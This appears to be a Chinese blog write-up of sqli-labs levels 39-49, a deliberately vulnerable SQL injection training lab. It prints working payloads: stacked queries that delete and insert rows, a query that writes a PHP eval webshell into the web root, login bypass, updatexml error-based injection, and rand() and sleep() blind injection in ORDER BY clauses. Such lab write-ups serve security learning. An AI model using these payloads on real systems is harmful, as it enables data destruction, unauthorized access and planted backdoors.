【sqli-labs】闯关记录39~49

【sqli-labs】闯关记录39~49

慢慢来,别着急。


【less-39】基于int型堆叠注入

image-20210424141755709

?id=1;delete from users where id=1%23

注意这个%23很有灵魂,没加之前试了几次都没成功,%23就是为了注释多余的语句limit 0,1,使得语句能够正确的执行。

image-20210424142404223

如图所示,执行成功!

堆叠注入对魅力就在于,你可以像在shell界面一样操作数据库,丝毫不受干扰。


【less-40】’)堆叠注入

image-20210424143405400

?id=1'                #直接报错
?id=1'%23             #依然报错
?id=1') and 1=1%23    #回显正常,判断应该是')闭合
?id=1') ;insert into users values(null,'peiqi','qiaozhi')%23   #插入一条记录

image-20210424143745032

插入成功!

image-20210424143809913

这个函数mysqli_multi_query()就是堆叠注入的罪魁祸首,该函数允许执行多条sql语句,语句之间用分号隔开,很危险,一般也很少使用。


【less-41】int型堆叠注入

image-20210424144211516

?id=1 and 1=1   #回显正常,多次测试发现是数字型
?id=1; select '<?php @eval($_POST[x])?>' into outfile 'D:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs\\peiqi.php'--+
#写入webshell

image-20210424144518832

写入成功!

用菜刀连接:

image-20210424144634457

成功!


【less-42】万能密码,堆叠注入,报错注入

image-20210424145111189

测试流程:

是一个登录页面,在username处尝试了万能密码无果,最后在password处尝试了万能密码成功登入:

image-20210424150215966

image-20210424150155610

但是,我们还可以提权到管理员:

image-20210424150356403

image-20210424150407114

换个姿势,用下堆叠注入:

image-20210424150918924

image-20210424150956951image-20210424151006864

报错注入:

username框随便输入

password框输入:

111' and updatexml(1,concat(0x7e,database()),3)#

image-20210424152645709

源码分析:

login.php

image-20210424151404972

对username字段参数做了转义,而password直接拼接。

image-20210424151528119

有危险函数,存在堆叠注入。

pass_change.php

image-20210424151630759

对输入的参数都进行了转义,比较安全。


【less-43】万能密码,堆叠注入,报错注入

')闭合,其余一样


【less-44】万能密码、堆叠注入

与上一关相比,屏蔽了报错,其他都一样。


【less-45】万能密码、堆叠注入

与上一关相比,只是闭合方式不同。’)


【less-46】报错注入

image-20210424154433233

提示说让输入参数sort

image-20210424154510724image-20210424154517358

发现是一个排序功能。

猜测后端的sql语句为:

select * from users order by $sort

所以尝试报错注入:

?sort=3 and updatexml(1,concat(0x7e,database()),2)

image-20210424154753813

成功报错!

#再进一步暴表名、字段名、字段值即可


【less-47】报错注入

遇上上一关相比,只是闭合方式不同’


【less-48】rand盲注

这一关是盲注,就没那么好过了。

order by 后面只能接(字段名,位置,表达式)等信息

image-20210424221655923

看来大神的文章,是用rand()函数,原理是因为rand(True)和rand(false)所显示的结果是不一样的,所以可以构造rand()函数中的表达式来进行布尔盲注。

rand(True)结果:

image-20210424221917688

rand(false)结果:

image-20210424222008059

#测数据库名长度
?sort=rand(length(database())>1)
#测数据库名称
?sort=rand(ascii(substr(database(),1,1))=115)
#测表的数量
#测表名的长度
#测表名
#然后按照这样的方法测字段名、字段值

详细方法可参照文章


【less-49】基于时间order by盲注

这一关是带有单引号的盲注

使用rand()函数就不太行了

image-20210424224440112

需要用时间盲注:

?sort=1' and if(length(database())=1,sleep(3),0)%23 
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)%23

这里就不一一试了,直接sqlmap一把梭。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值